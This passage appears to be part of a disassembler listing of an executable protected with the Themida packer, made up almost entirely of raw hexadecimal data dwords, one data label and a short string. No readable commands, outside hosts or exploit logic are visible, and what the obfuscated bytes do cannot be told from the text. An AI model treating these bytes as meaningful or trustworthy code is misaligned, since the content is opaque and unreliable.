1704h, 0C3534300h, 52D54EA3h, 38F0Fh, 0EB800000h dd 18BE95Dh, 8B660000h, 0CE953FBh, 0EE000000h, 7D5FC523h dd 0C47159A7h, 5FEAE7A9h, 0B36A858Bh, 0BE8060Ah, 0D7000000h dd 88571F87h, 7FBA8FC7h, 0C75F354Dh, 1800h, 0A1BD8B00h dd 8B06072Ch, 0AB36EB5h, 0EB816606h, 895741CDh, 71E9D9Dh dd 858B5F06h, 6071579h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 62C35040h, 6A0689F5h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 9CE9C351h dd 357670C1h, 33699ECCh, 723E99Dh, 0DF816606h, 858BD3BEh dd 607306Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 0F7C35343h, 89A42F34h, 70B9D95h, 4468906h, 17F19D8Bh dd 0B3960607h, 11E9509Eh, 0ED000000h, 1E185B11h, 3A83DA0Fh dd 494B9DDh, 8C0252D9h, 55006A96h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 2E1D1370h, 0FF37BBA3h dd 0AB36AB5h, 6860F06h, 89000000h, 70A919Dh, 81436806h dd 8B6629A9h, 243481FBh, 29B682BCh, 8DFABF0Fh, 0AB37285h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 788FF5E9h, 0DA00F781h, 66502EDAh, 489FE8Bh dd 0EE95724h, 0D7000000h, 413D1890h, 59805476h, 57C9A8B4h dd 95FF5F02h, 6071B91h, 29DAB70Fh, 70C7D8Dh, 29606106h dd 72EB585h, 14E906h, 54320000h, 45D0E92Ch, 0F842497Ch dd 2FAC39B4h, 0B2FFE26Ch, 0C761AD52h, 7006985h, 306h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 0F39310C1h, 5E4074A9h, 72BD831Eh, 60AB3h, 2D840Fh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 27E92EC3h, 0E9000000h, 7 dd 0F683364Eh, 5007CE64h, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 0DD8AC08Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 94C35141h, 948569EDh, 0BD8380C0h dd 6070069h, 0D5850F03h, 6A000003h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0BBB5C350h dd 9AE64B91h, 0BD89090Dh, 6070005h, 0B372BD83h, 0F00060Ah dd 39F84h, 0D3816600h, 0B5FFE722h, 60AB372h, 95FFF98Bh dd 6071545h, 2F759529h, 0C7810607h, 63F04DB8h, 0B366B58Bh dd 8D29060Ah, 6071AF1h, 106C7h, 6A0001h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0DDAB43C3h dd 0A9E947A0h, 8B793252h, 348950DEh, 51006A24h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 21EB2073h dd 8B7ED2E7h, 71255BDh, 0EF806006h, 14E95Eh, 97A50000h dd 0FD928577h, 28A0F4Eh, 364C9794h, 390D4AC1h, 0FF619D2Bh dd 0AB372B5h, 81666006h, 8A98ACF7h, 95FF61E2h, 6070911h dd 0EE9h, 0D0127F00h, 283044D4h, 0EF2559C3h, 8B6E5095h dd 0AB366B5h, 1BD8906h, 33060709h, 7020DBDh, 0C9858B06h dd 6606072Ch, 890E2ABFh, 0C486h, 6820F00h, 8B000000h, 733099Dh dd 41958B06h, 8906071Bh, 72B19BDh, 8E806h, 0FAB40000h dd 163D370Eh, 8B6654C5h, 0C2835BD9h, 52006A04h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 9D8B533Dh dd 6070A91h, 4840F5Bh, 66000000h, 0B5515BFh, 71891BDh dd 20508906h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 0ACC35040h, 425ECD6h, 2189D248h, 6840Fh, 9D8B0000h dd 60721D9h, 0C7ED858Dh, 9D2B060Ah, 607322Dh, 0B88689h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 490D5AC3h, 0B9B2D381h, 6A29A1h, 21218D29h dd 0B5FF0607h, 60AB372h, 0FFFBB70Fh, 729FD95h, 5250F806h dd 5B73B757h, 2434895Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 0F7C35343h, 0C670F1ABh, 0BF662E96h, 0BD3348FAh dd 607233Dh, 0B372B5FFh, 6A060Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 0FF7C1C3h, 8Bh, 0A595FF00h dd 0BF06071Ah, 2DDEE9F1h, 8ADBD83h, 0F000607h, 5884h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0CF52D4F6h, 2B9936B4h, 12E9h, 0CDEDB000h, 7EF96CDCh dd 0D605DA81h, 74B5240Bh, 96F35A0Ch, 66C38B60h, 61FECCBAh dd 8B666050h, 0F5250D3h, 5A595231h, 89966158h, 71E15BDh dd 72B5FF06h, 0E9060AB3h, 0Fh, 0A2C70555h, 78121731h, 0F353D732h dd 56FB6DE9h, 303DBD8Bh, 0FF5B0607h, 7260595h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 0F0BF5831h, 8806A096h, 0B5FFBD2Ch, 60AB372h, 81585760h dd 99D0B0C9h, 95FF616Eh, 6071DF1h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 0DC35545h, 0B1BD8324h, 2060703h dd 66840Fh, 0BD8B0000h, 6070131h, 13E9h, 55FA4500h, 0B167FD15h dd 75D18293h, 0A7020FB6h, 0B1D83A94h, 749858Bh, 6A0607h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 0F4DE18C3h, 968ACBAEh, 812820BAh, 20DFB4CFh, 0C62Ch dd 0E9D98A60h, 0Bh, 75F0340Ah, 13FBF88Fh, 615DC9FEh, 0F4985C7h dd 607h, 0BD090000h, 6072BD1h, 0FFF3D4E9h, 52006AFFh, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 80906C25h, 0C18B47DBh, 9E8h, 0DD7DCD00h, 60677612h dd 11E9D746h, 47000000h, 102BD665h, 524EF65Dh, 9CD725D1h dd 452C7077h, 19858D5Bh, 0FC06071Fh, 50605390h, 5A310F52h dd 14E858h, 7B2B0000h, 0D7CB71D6h, 743C5372h, 0F6FC5B75h dd 0AAC45CEFh, 6158FF1Dh, 5250505Bh, 0FFE8B66h, 5AFE8B31h dd 6A9058h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 2151D8C3h, 958968CDh, 6071D45h, 6A006Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 0D635A0C3h, 80BCB8BBh, 6A11CFh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 5FC35646h, 0BD8B308Eh, 6072D31h dd 0E4A858Dh, 6A060Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 81665DC3h, 83DDE1D3h, 9D2905C0h dd 6072F79h, 89FB8B50h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 0E1DECFC3h, 6A1397h dd 6ADEB70Fh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 64D3630h, 5E8B01D3h, 0CB8166F7h dd 95FF6657h, 6071BCDh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 1FC35141h, 9AEBA35Eh, 5EF35210h, 0A5B78D8Dh dd 6A060Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 7463E8C3h, 0FCE283C2h, 1659BD8Bh, 860F0607h dd 6, 79BD29h, 0D1FF0607h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 0D5C35343h, 63CB817Bh dword_58C130 dd 8373B957h, 71995BDh, 850F0106h, 0AFh, 32058D89h, 26A0607h ; DATA XREF: Themida_:0055010Eo dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0EDC35545h dd 0EE88Ch, 0D70000h, 62ED2FB3h, 99F22C67h, 0D505F32Fh dd 10E8h, 4D570A00h, 0D988099Dh, 0D7FB2C9Eh, 0E26888E2h dd 0E38166A3h, 5F5F0755h, 2DA5B509h, 50500607h, 11E952h dd 19090000h, 6B043E5Ah, 37227A7h, 8F515E1Dh, 0F4728A4h dd 61605731h, 89585A5Fh, 0BD8B2404h, 6070195h, 191D9D8Bh dd 95FF0607h, 60729FDh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 0B6C35141h, 0E9FA8B17h, 0DA5h, 0E8h dd 0ED815D00h, 60C0E54h, 890Fh, 9D330000h, 6073069h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 4C35141h, 0D780A443h dd 0A858D6Dh, 0B7060A91h, 90509013h, 6870Fh, 890F0000h dd 0 dd 35FF64h, 66000000h, 0FC0A8EBBh, 258964h, 0F000000h dd 85FFFBBFh, 6070FA5h, 820Fh, 0FF6A0000h, 2DC5B509h, 0B5FF0607h dd 6070BA5h, 1FD8509h, 0BD230607h, 6072315h, 303595FFh dd 0BE90607h, 89000001h, 708199Dh, 8B00B006h, 70455BDh dd 8970E606h, 71C95BDh, 0E971E406h, 10h, 67209FE3h, 0E45AFFFAh dd 0BF28ACh, 0DEA6F8Bh, 830F613Ch, 0D6h, 22D19D89h, 0B60F0607h dd 2870FC8h, 57000000h, 6BA5Fh, 85890000h, 60722BDh, 1F1D8529h dd 0C18B0607h, 0C3816651h, 0C15FD32Dh, 0C6B704E8h, 60E2F766h dd 2B61F98Bh, 89D18BC8h, 715C995h, 90E906h, 66570000h dd 5BA153BBh, 4C4C858Bh, 9D03505Fh, 6071E7Dh, 8307C083h dd 0EE800C0h, 0A7000000h, 89D4C335h, 7D15D5E3h, 0CC57E55h dd 5D858955h, 5F06071Eh, 830FD03Bh, 0Fh, 56D38166h, 4CE967h dd 81660000h, 8BF2CAE7h, 0FFFFFF8Dh, 87C781FFh, 836B73CCh dd 840F01E1h, 32h, 0E880Fh, 0F600000h, 8Ah, 49858900h dd 6106070Ah, 0FFFFA583h, 8BFEFFFFh, 716D5BDh, 4C958906h dd 89505F4Ch, 72C9DBDh, 0E906h, 0B58D0000h, 60B8BFCh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 85C35646h, 67AB1D3Eh dd 3F7E6F5Fh, 0D9B70FC8h, 9D8B006Ah, 607094Dh, 320195FFh dd 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 953140C3h, 6073145h, 111AB9h, 9E900h, 0ACAB0000h dd 4C98D741h, 66AACCA1h, 8C1CEF81h, 89FCE183h, 71C0DB5h dd 8D9D8B06h, 0FC06070Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 0BDC35545h, 8153F022h, 99F5ABF7h, 51C02B63h dd 0D4BB665Bh, 6AD22B80h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 7BEC356h, 0C233AD1Eh dd 0D003E8D1h, 7504E983h, 50006AF4h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0BDD876BDh dd 0EEB39153h, 9D298327h, 6071E49h, 3753BB66h, 880Dh, 8BDF8B00h dd 71B4195h, 8F0F5606h, 6, 8F59D01h, 8B5F0607h, 706058Dh dd 0F19D8B06h, 5006072Bh, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 5DBD8B58h, 6A060717h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0BF0FC353h dd 77C22E4Eh, 2B258D29h, 0BD830607h, 6070BD1h, 59840F00h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 7D16C350h, 0BB79D298h, 6C8967C5h dd 0F2BCB80h, 582h, 0D67EBF00h, 0B831DBh, 0F000000h, 684h dd 5D9D2300h, 0F06071Fh, 8D8DFFBFh, 6074DB4h, 6B13BB66h dd 9D8BE1FFh, 6071F3Dh, 69BD83h, 0F000607h, 41F84h, 6850F00h dd 8B000000h, 7301D9Dh, 69BD8306h, 1060700h, 421840Fh dd 0BE90000h, 22000000h, 134418Bh, 7C53B266h, 0BD8378DFh dd 6070069h, 0CE860F03h, 6A000003h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 60AAC351h dd 66DEBF0Fh, 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 808933C3h, 0E1805C44h, 57006A04h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 58949DA6h, 0C90AD7B7h, 0DA840Fh, 10E90000h, 0AD000000h dd 26D8F9EEh, 984CA1CCh, 0C7DD10ABh, 8B4F3B0Ah, 7306D85h dd 0EFBF6606h, 5853329h, 57060733h, 1B759D89h, 905B0607h dd 6E9h, 1D2F6300h, 50634CD2h, 90FA8B66h, 2F61BD8Bh, 6A0607h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 9BC35545h dd 682C7495h, 305C80B8h, 0D08B6660h, 24348161h, 30438347h dd 8E9h, 0AC27B100h, 568778FDh, 9195FF56h, 8906071Bh, 709299Dh dd 72858906h, 6A060AB3h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 2B00C352h, 719999Dh dd 22AE906h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 549449C3h, 0B36A858Bh, 6A060Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 66EAE2C3h, 0C7DF8Bh, 18h, 6B9BD89h, 0B58B0607h, 60AB36Eh dd 79858BF5h, 6A060715h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 0C764C357h, 8B66386Bh dd 6A0689D9h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 7330C351h, 11E9h, 4A89AD00h, 2CDB2E45h dd 444D5C06h, 1B7A38CBh, 8529F0C2h, 6071FD1h, 306D858Bh dd 0DFB30607h, 0C2D8529h, 46890607h, 50006A04h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0E12A390Ah dd 2363E52Bh, 5072B396h, 0CE9h, 48BF2000h, 0D1EE687h, 183CD745h dd 6A9649h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 0F89915C3h, 2B25B529h, 0B5FF0607h, 60AB36Ah dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0AC35141h dd 2B84343Eh, 48616B3Eh, 8B29EF80h, 21D068FBh, 0FE8BA07Dh dd 2F240481h, 6A5FA1E2h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 6693C350h, 8D5F95ECh dd 6D753E2Dh, 0CE9h, 0FCEDC00h, 14F6F30Ah, 0C7CDC629h dd 0A9CB80BAh, 0B372858Dh, 13E9060Ah, 0FA000000h, 0FBC2BC00h dd 0EDDF979Dh, 68E5CE52h, 0E451A599h, 5050625Dh, 0FE852h dd 56B60000h, 0D7A8E2B7h, 0B57BE0A9h, 0BBBC2781h, 7E93Eh dd 8ECA0000h, 0E575A6B5h, 310F5BCDh, 310F5250h, 0FE9h dd 24928200h, 0E0366DD2h, 0E8273D0Eh, 16D7F9Ah, 585A585Ah dd 89240489h, 712D58Dh, 9195FF06h, 0E806071Bh, 11h, 0EA5231F7h dd 0A6490872h, 0C4C2E751h, 51938E40h, 0BAD7816Ah, 5F1ACBE3h dd 0E99D8B61h, 0C7060726h, 7006985h, 306h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 0D998FA76h, 0EDE1140Eh, 800FE474h, 2, 0BD89DA8Ah, 6070601h dd 0B372BD83h, 0F00060Ah, 2884h, 0E8525000h, 13h, 0BBFF2193h dd 6FD2BE13h, 673E8F0Bh, 7800D638h, 5FE6EEB0h, 21E95B5Bh dd 0B000000h, 730659Dh, 0C305006h, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 1509BD03h, 0BF600607h, 67244898h dd 6850Fh, 0B5890000h, 6072C1Dh, 69BD8361h, 3060700h, 53C850Fh dd 0FE8B0000h, 96808ABBh, 72BD8309h, 60AB3h, 528840Fh dd 9D0B0000h, 6071049h, 0B372B5FFh, 6A060Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 660B1FC3h dd 2AD5DB81h, 154595FFh, 9D8B0607h dd 60706B5h, 0B366B58Bh, 0EE9060Ah, 0EE000000h, 0A3132E4Dh dd 8652D54Eh, 5D9B2DD8h, 106C79Fh, 0E8000100h, 0Fh, 477243AAh dd 9C2721ABh, 333B5EA7h, 66ECE32Ah, 5B8456BBh, 50DA8B96h dd 565298BBh, 6056966Fh, 860Fh, 0BD2B0000h, 6073169h, 0B5FF5B61h dd 60AB372h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 7CC35242h, 0E87B8703h, 0Dh, 0D5C55174h, 975B86E7h dd 119474DDh, 0EF8166DCh, 0FF5F5036h, 7091195h, 9E906h dd 3BC90000h, 0BD67A944h, 8B90E018h, 0AB366B5h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 6E785ED2h, 0C59589h, 858B0607h, 6072CC9h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0E5C35343h, 33736BC0h dd 491ECA42h, 0DE9h, 0B53F6100h, 0DE5F101Dh, 8ADAA4B1h dd 868960EFh, 0C4h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 0B8C35040h, 9C1FC6DBh, 0E960C63Fh, 14h dd 60862A2Ch, 3F4F01AFh, 904B9B53h, 0D9A21FECh, 8DDB95D0h dd 61F2B70Fh, 1B41958Bh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 3A5846C3h, 791EFA24h dd 8BC983FFh, 72B059Dh, 259D8906h, 8306072Bh, 6A04C2h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 8166E3C3h, 8908BBDFh, 880F2050h, 0Ch, 7E9h, 0D6647E00h dd 97541B94h, 8E9h, 0A1DB2900h, 0AD9D4901h, 0ED858D00h dd 60060AC7h, 318509h, 8B660607h, 868961FAh, 0B8h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 79C35242h, 6EF24B6Dh dd 0CB43B9E2h, 0F1DDF80h, 586h, 0FF4BBB00h, 6A75B2h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 6FC35747h, 8D89982Dh dd 6072D5Dh, 0B372B5FFh, 6A060Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 0BE5F30C3h, 668BC86h dd 0E9B01B80h, 0Fh, 5CC20F76h, 54491669h, 382E90FDh, 31C1FFC7h dd 723199Dh, 0FD95FF06h, 6A060729h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0B1F3C352h dd 0DAB35DA7h, 2BF9B70Fh, 71FB19Dh, 0BE85006h, 54000000h dd 3F4746D0h, 1782511Bh, 0BB66696Dh, 895BDC54h, 6A2434h dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0BB918BC3h, 0B372B5FFh, 6A060Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0B975A2C3h dd 43BF66BCh, 0A595FFE9h, 6A06071Ah, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 87A3C351h dd 8AC2D7DBh, 0ADBD83DDh, 60708h, 2B840Fh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 0F2432AC3h, 0D88B5076h, 81243489h, 0B2F49DEBh, 72B5FF7Eh dd 6A060AB3h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 44F4C355h, 2BC52750h, 595FF99h dd 6A060726h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 1C38C352h, 99996497h, 9D8B7E84h dd 6072249h, 0B372B5FFh, 6A060Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 6078D0C3h, 0D9B63761h dd 6E95753h, 6F000000h, 3319A0h, 0FF5F5BFFh, 71DF195h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 0E9F6FBADh, 14h, 26A6044Bh, 39180C72h, 0AA6988h dd 0F79F508Ch, 4CCCE34Ah, 89FEBF0Fh, 73121BDh, 0B1BD8306h dd 2060703h, 5D840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 0E72D8CC3h, 0F38166EEh dd 858B39BCh, 6070749h, 0AE9F860h, 46000000h, 0C03821E2h dd 5D704EC4h, 0C66196h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 0C75F50FAh, 70F4985h dd 6, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 9CAD6136h, 0D59D2925h, 0E9060730h dd 6, 58F73D5Eh, 0BF66EB55h, 2BE9B93Bh, 6AFFFFF3h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 0B21FC350h, 0D159C7B2h, 148A0F62h, 0E8000000h, 8, 795DE505h dd 9DEFBD7Ch, 174DB589h, 8B5F0607h, 55006AC1h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0DC68C263h dd 19858D39h, 0F06071Fh, 68Eh, 399D8B00h, 50060715h, 48976B3h dd 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 0ACE900EDh, 0B6CD4F7Fh, 6A6957h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0BC35646h, 37B57944h dd 73ADCEAAh, 26FD4FBFh, 0CCDF8158h, 6A58A3ACh, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 3C5073BAh, 0F1498DC3h, 9D8B8F06h, 6072299h, 8D30DF80h dd 0C1DDD85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 8951B896h, 7056DB5h, 5C08306h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 10C35141h, 366D5FBFh dd 10E89036h, 48000000h, 9829FE73h, 8B9F74DEh, 0A42CA1ACh dd 0E8100337h, 0Fh, 3708501Fh, 1C94F107h, 0D40BA653h, 50572551h dd 5A310F52h, 505F5F58h, 38E0Fh, 8B660000h, 6A90F8h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 0C76A5EC3h, 6A69C1h, 1231B589h, 6A0607h, 95FF8CB7h dd 6071BCDh, 0A5B78D8Dh, 6A060Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 14AEA7C3h, 0FE9h, 491A8300h dd 38450480h, 682E4024h, 14AAA518h, 6AD1FFh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 0A8EA70C3h dd 95BD83AFh, 1060719h, 28850Fh, 0BB660000h, 26A45E5h dd 30118D89h, 7FBB0607h, 90076D51h, 0F2E8BF66h, 48BB6650h dd 8166904Ah, 0FF9AA8EFh, 729FD95h, 8CE9F506h, 0E800000Eh dd 0 dd 0E7ED815Dh, 6A060C1Dh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 4B4FC353h, 0D1EF8166h dd 49B589B6h, 6A06072Ch, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 0B0F2C353h, 11BB4078h dd 8D0724EFh, 0A910A85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 0A30378B9h, 8952D9FEh dd 718B185h, 0F505F06h, 58Ah, 1C78BF00h, 4897077h, 50006A24h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 64B98D33h, 0A8BF664Bh, 53EB8112h, 646F4E47h, 35FFh dd 890F0000h, 11h, 5E8h, 10653100h, 8F0F0477h, 0 aDi db '[d%',0 align 4 dd 0FFF98B66h, 70FA585h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 84B5B424h, 10B0DA0Ah dd 19BD31E8h, 6A060712h, 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 0CC78DC19h, 9589A7D3h dd 6070FC1h, 3095BD29h, 0B5FF0607h, 60712DDh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0CC35242h, 0FFA3929Bh dd 3DB5018Dh, 106071Dh, 71E399Dh, 81BD2306h, 0FF06071Ah dd 7303595h, 121E906h, 0FE90000h, 2E000000h, 22CD0322h dd 0B578AB60h, 0B2EEC460h, 0B04BEBh, 0C2D9509h, 70E60607h dd 18FD8509h, 71E40607h, 2A4D9D03h, 613C0607h, 0ED830Fh dd 9D290000h, 60718E5h, 50C8B60Fh, 5FD9D03h, 0BA5B0607h dd 6, 6880Fh, 85290000h, 6070AE5h, 0E381C18Bh, 531C89A3h dd 0F04E8C1h, 88Bh, 8D015000h, 607261Dh, 0E2F7665Fh, 5E9h dd 95B52700h, 0C82B836Eh, 1B759D89h, 9D2B0607h, 6072F79h dd 0B589D18Bh, 6070731h, 8AE9h, 0FA8B6600h, 554C858Bh dd 9D2B4947h, 6072A59h, 0E907C083h, 13h, 62A8E747h, 9EBB5C54h dd 821EF51Eh, 7E459A2Eh, 83F34435h, 8BB00C0h, 3B7843AAh dd 1E830FD0h, 89000000h, 70F8DB5h, 0C810F06h, 0E9000000h dd 7, 0A3D4CD55h, 0E9BB4559h, 33h, 0FF8D8BF8h, 0BFFFFFFh dd 7168D9Dh, 1E18306h, 1D840Fh, 8D890000h, 6072719h, 0FFFFA583h dd 0F9FEFFFFh, 554C9589h, 0B7564947h, 0E95FC4h, 8D000000h dd 0B9D16B5h, 7E806h, 25120000h, 3A380BEAh, 0DE904h, 0D3170000h dd 36C789C0h, 65DDCE1Ah, 5F684534h, 8960006Ah, 71CF995h dd 6840F06h, 81000000h, 0CD8DF1D8h, 95FF6151h, 6073201h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0B1C35646h dd 13A84EECh, 13A289B5h, 0E870F53h, 0E9000000h, 9, 0A9379AB0h dd 513BA480h, 0C3B95FA2h, 6A00000Fh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 784EC357h dd 65BD03FEh, 8306071Ah, 890FFCE1h, 6, 0B158589h, 0FFC0607h dd 0C02BD8BFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 24C35545h, 6C929A9Dh, 0F5B54F57h, 12E9D22Bh, 0F0000000h dd 8E8A7314h, 0B25C3D75h, 0FADF2EC1h, 0A0C51A07h, 0C233AD9Fh dd 0D003E8D1h, 7504E983h, 9E9F4h, 0C24A0000h, 0D97DB189h dd 6ACE61F9h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 0D8C3C356h, 8E0F5240h, 6, 6C9B589h dd 820F0607h, 5, 0D7F78166h, 880DF7h, 0BD8B0000h, 60718BDh dd 1B41958Bh, 8C0F0607h, 0 dd 6058D8Bh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 6D2F33C3h, 89F599B1h, 7060985h dd 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 5665C355h, 890F2E64h, 6, 2D25BD8Bh, 0BB660607h dd 6ADFFDh, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 5B9243C3h, 0A49D403h, 19820Fh, 14E90000h dd 0C9000000h, 0F13752CCh, 0F81E2B24h, 61E6B0E0h, 2A3F103Dh dd 83AB86B7h, 70BD1BDh, 840F0006h, 0B5h, 